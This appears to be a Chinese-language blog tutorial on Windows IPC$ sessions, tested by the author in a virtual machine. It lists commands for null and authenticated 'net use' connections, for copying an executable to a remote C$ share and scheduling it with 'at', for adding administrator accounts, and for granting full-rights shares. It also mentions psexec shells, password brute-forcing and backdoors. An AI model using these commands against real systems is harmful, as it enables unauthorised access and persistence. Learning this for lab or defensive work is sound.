IPC:
IPC$(Internet Process Connection) 是共享 " 命名管道 "的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。 IPC$ 是 NT/2000 的一项新功能,它有一个特点,即在同一时间内,两个 IP 之间只允许建立一个连接。NT/2000 在提供了 ipc$ 功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享 (c$,d$,e$ …… ) 和系统目录winnt 或 windows(admin$) 共享。所有的这些,微软的初衷都是为了方便管理员的管理,但在有意无意中,导致了系统安全性的降低。
建立icp连接:net use \\192.168.1.104\ipc$ "123456" /user:"Administrator"
删除icp连接:net use \\192.168.1.104\ipc$ /del
空会话:
空会话就是建立一个连接,密码空,用户名空:
net use \\192.168.1.104\ipc$ "" /user:""
空会话刚刚进行了以下测试-win7---win7
尝试查看远程主机共享资源:net view \\192.168.1.104 拒绝
尝试查看远程主机时间 : net time \\192.168.1.104 拒绝
得到远程主机的 NetBIOS 用户名列表(需要打开自己的 NBT )
nbtstat -A 192.168.1.104 这个可以,得到类似如下的回复:
以上就是ipc的两种基本连接。但是注意一个问题就是不管是空会话还是非空会话,连接别人会在对方机器中留下脚印:
运行里面输入这个:compmgmt.msc 然后时间查看器,windows日志看登录log
IPC连接如果失败,原因可能是下面这样(直接在网上找了一些):
以下是一些常见的导致 ipc$ 连接失败的原因:
1 IPC 连接是 Windows NT 及以上系统中特有的功能,由于其需要用到 Windows NT 中很多 DLL 函数,所以不能在Windows 9.x/Me 系统中运行,也就是说只有 nt/2000/xp 才可以相互建立 ipc$ 连接, 98/me 是不能建立ipc$ 连接的;
2 如果想成功的建立一个 ipc$ 连接,就需要响应方开启 ipc$ 共享,即使是空连接也是这样,如果响应方关闭了 ipc$ 共享,将不能建立连接;
3 连接发起方未启动 Lanmanworkstation 服务(显示名为: Workstation ):它提供网络链结和通讯,没有它发起方无法发起连接请求;
4 响应方未启动 Lanmanserver 服务(显示名为: Server ):它提供了 RPC 支持、文件、打印以及命名管道共享, ipc$ 依赖于此服务,没有它主机将无法响应发起方的连接请求,不过没有它仍可发起 ipc$ 连接;
5 响应方未启动 NetLogon ,它支持网络上计算机 pass-through 帐户登录身份(不过这种情况好像不多);
6 响应方的 139 , 445 端口未处于监听状态或被防火墙屏蔽;
7 连接发起方未打开 139 , 445 端口;
8 用户名或者密码错误:如果发生这样的错误,系统将给你类似于 ' 无法更新密码 ' 这样的错误提示(显然空会话排除这种错误);
9 命令输入错误:可能多了或少了空格,当用户名和密码中不包含空格时两边的双引号可以省略,如果密码为空,可以直接输入两个引号 "" 即可;
10 如果在已经建立好连接的情况下对方重启计算机,那么 ipc$ 连接将会自动断开,需要重新建立连接。
另外 , 你也可以根据返回的错误号分析原因:
错误号 5 ,拒绝访问:很可能你使用的用户不是管理员权限的;
错误号 51 , Windows 无法找到网络路径:网络有问题;
错误号 53 ,找不到网络路径: ip 地址错误;目标未开机;目标 lanmanserver 服务未启动;目标有防火墙(端口过滤);
错误号 67 ,找不到网络名:你的 lanmanworkstation 服务未启动或者目标删除了 ipc$ ;
错误号 1219 ,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个 ipc$ ,请删除再连;
错误号 1326 ,未知的用户名或错误密码:原因很明显了;
错误号 1792 ,试图登录,但是网络登录服务没有启动:目标 NetLogon 服务未启动;
错误号 2242 ,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码。
本地ipc$共享设置[注意是本地,很多本地命令必须直接到对方机器上操作,或者是已经入侵成功并且得到了shell]
开启本机ipc$共享,并且是所有权限
net share ipc$ /GRANT:Everyone,FULL
删除本机ipc&共享
net share ipc$ /del
本机把C盘共享出去
net share CCC=c:\
查看本地共享 直接net share
整理下常用的命令:[注意有的是远程,有的是本地]
1 建立 / 删除 ipc$ 连接的命令
1 )建立空连接 :
net use \\127.0.0.1\ipc$ "" /user:""
2 )建立非空连接 :
net use \\127.0.0.1\ipc$ " 密码 " /user:" 用户名 "
3 )删除连接 :
net use \\127.0.0.1\ipc$ /del
2 在 ipc$ 连接中对远程主机的操作命令
1 ) 查看远程主机的共享资源(看不到默认共享) :
net view \\127.0.0.1
2 ) 查看远程主机的当前时间 :
net time \\127.0.0.1
3 ) 得到远程主机的 netbios 用户名列表 :
nbtstat -A 127.0.0.1
4 )映射 / 删除远程共享 :
net use z: \\127.0.0.1\c
此命令将共享名为 c 的共享资源映射为本地 z 盘
net use z: /del
删除映射的 z 盘,其他盘类推
5 )向远程主机复制文件 :
copy 路径 \ 文件名 \\IP\ 共享目录名,如:
copy c:\xinxin.exe \\127.0.0.1\c$ 即将 c 盘下的 xinxin.exe 复制到对方 c 盘内
当然,你也可以把远程主机上的文件复制到自己的机器里:
copy \\127.0.0.1\c$\xinxin.exe c:\
6 )远程添加计划任务 :
at \\IP 时间 程序名 如:
at \\127.0.0.0 11:00 xinxin.exe
注意:时间尽量使用 24 小时制;如果你打算运行的程序在系统默认搜索路径(比如 system32/ )下则不用加路径,否则必须加全路径
3 本地命令
1 )查看本地主机的共享资源(可以看到本地的默认共享)
net share
2 )得到本地主机的用户列表
net user
3 )显示本地某用户的帐户信息
net user 帐户名
4 )显示本地主机当前启动的服务
net start
5 )启动 / 关闭本地服务
net start 服务名
net stop 服务名
6 )在本地添加帐户
net user 帐户名 密码 /add
7 )激活禁用的用户
net uesr 帐户名 /active:yes
8 )加入管理员组
net localgroup administrators 帐户名 /add
说下我今天用的测试环境:
虚拟机里直接装的这个系统:
然后关闭掉了防火墙,设置了个密码方便测试,其他的什么都没动,都是默认设置。表示可以直接ipc通过密码链接上。
走ipc还是比较老的办法,需要一步一步得到权限,其实可以直接psexec 一步到位获得目标shell,下面各个简单演示,之后会单独说。
得到shell之后剩下的留后门或者开共享或者其他的就都好说了。或者直接弱口令攻击的时候用psexec爆破。